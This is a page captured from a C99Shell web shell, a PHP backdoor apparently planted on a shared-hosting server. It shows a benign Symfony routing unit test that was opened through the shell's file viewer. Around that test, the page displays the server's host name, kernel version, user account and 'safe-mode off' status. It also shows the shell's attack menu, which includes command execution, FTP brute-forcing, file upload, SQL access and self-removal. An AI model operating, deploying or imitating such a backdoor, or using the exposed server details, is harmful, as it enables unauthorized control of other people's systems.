!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Routing/Symfony/Component/Routing/Tests/Matcher/Dumper/   drwxr-xr-x
Free 292.21 GB of 429.69 GB (68.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     DumperPrefixCollectionTest.php (3.93 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Routing\Tests\Matcher\Dumper;

use 
Symfony\Component\Routing\Route;
use 
Symfony\Component\Routing\Matcher\Dumper\DumperPrefixCollection;
use 
Symfony\Component\Routing\Matcher\Dumper\DumperRoute;
use 
Symfony\Component\Routing\Matcher\Dumper\DumperCollection;

class 
DumperPrefixCollectionTest extends \PHPUnit_Framework_TestCase
{
    public function 
testAddPrefixRoute()
    {
        
$coll = new DumperPrefixCollection();
        
$coll->setPrefix('');

        
$route = new DumperRoute('bar', new Route('/foo/bar'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('bar2', new Route('/foo/bar'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('qux', new Route('/foo/qux'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('bar3', new Route('/foo/bar'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('bar4', new Route(''));
        
$result $coll->addPrefixRoute($route);

        
$expect = <<<'EOF'
            |-coll /
            | |-coll /f
            | | |-coll /fo
            | | | |-coll /foo
            | | | | |-coll /foo/
            | | | | | |-coll /foo/b
            | | | | | | |-coll /foo/ba
            | | | | | | | |-coll /foo/bar
            | | | | | | | | |-route bar /foo/bar
            | | | | | | | | |-route bar2 /foo/bar
            | | | | | |-coll /foo/q
            | | | | | | |-coll /foo/qu
            | | | | | | | |-coll /foo/qux
            | | | | | | | | |-route qux /foo/qux
            | | | | | |-coll /foo/b
            | | | | | | |-coll /foo/ba
            | | | | | | | |-coll /foo/bar
            | | | | | | | | |-route bar3 /foo/bar
            | |-route bar4 /

EOF;

        
$this->assertSame($expect$this->collectionToString($result->getRoot(), '            '));
    }

    public function 
testMergeSlashNodes()
    {
        
$coll = new DumperPrefixCollection();
        
$coll->setPrefix('');

        
$route = new DumperRoute('bar', new Route('/foo/bar'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('bar2', new Route('/foo/bar'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('qux', new Route('/foo/qux'));
        
$coll $coll->addPrefixRoute($route);

        
$route = new DumperRoute('bar3', new Route('/foo/bar'));
        
$result $coll->addPrefixRoute($route);

        
$result->getRoot()->mergeSlashNodes();

        
$expect = <<<'EOF'
            |-coll /f
            | |-coll /fo
            | | |-coll /foo
            | | | |-coll /foo/b
            | | | | |-coll /foo/ba
            | | | | | |-coll /foo/bar
            | | | | | | |-route bar /foo/bar
            | | | | | | |-route bar2 /foo/bar
            | | | |-coll /foo/q
            | | | | |-coll /foo/qu
            | | | | | |-coll /foo/qux
            | | | | | | |-route qux /foo/qux
            | | | |-coll /foo/b
            | | | | |-coll /foo/ba
            | | | | | |-coll /foo/bar
            | | | | | | |-route bar3 /foo/bar

EOF;

        
$this->assertSame($expect$this->collectionToString($result->getRoot(), '            '));
    }

    private function 
collectionToString(DumperCollection $collection$prefix)
    {
        
$string '';
        foreach (
$collection as $route) {
            if (
$route instanceof DumperCollection) {
                
$string .= sprintf("%s|-coll %s\n"$prefix$route->getPrefix());
                
$string .= $this->collectionToString($route$prefix.'| ');
            } else {
                
$string .= sprintf("%s|-route %s %s\n"$prefix$route->getName(), $route->getRoute()->getPath());
            }
        }

        return 
$string;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0046 ]--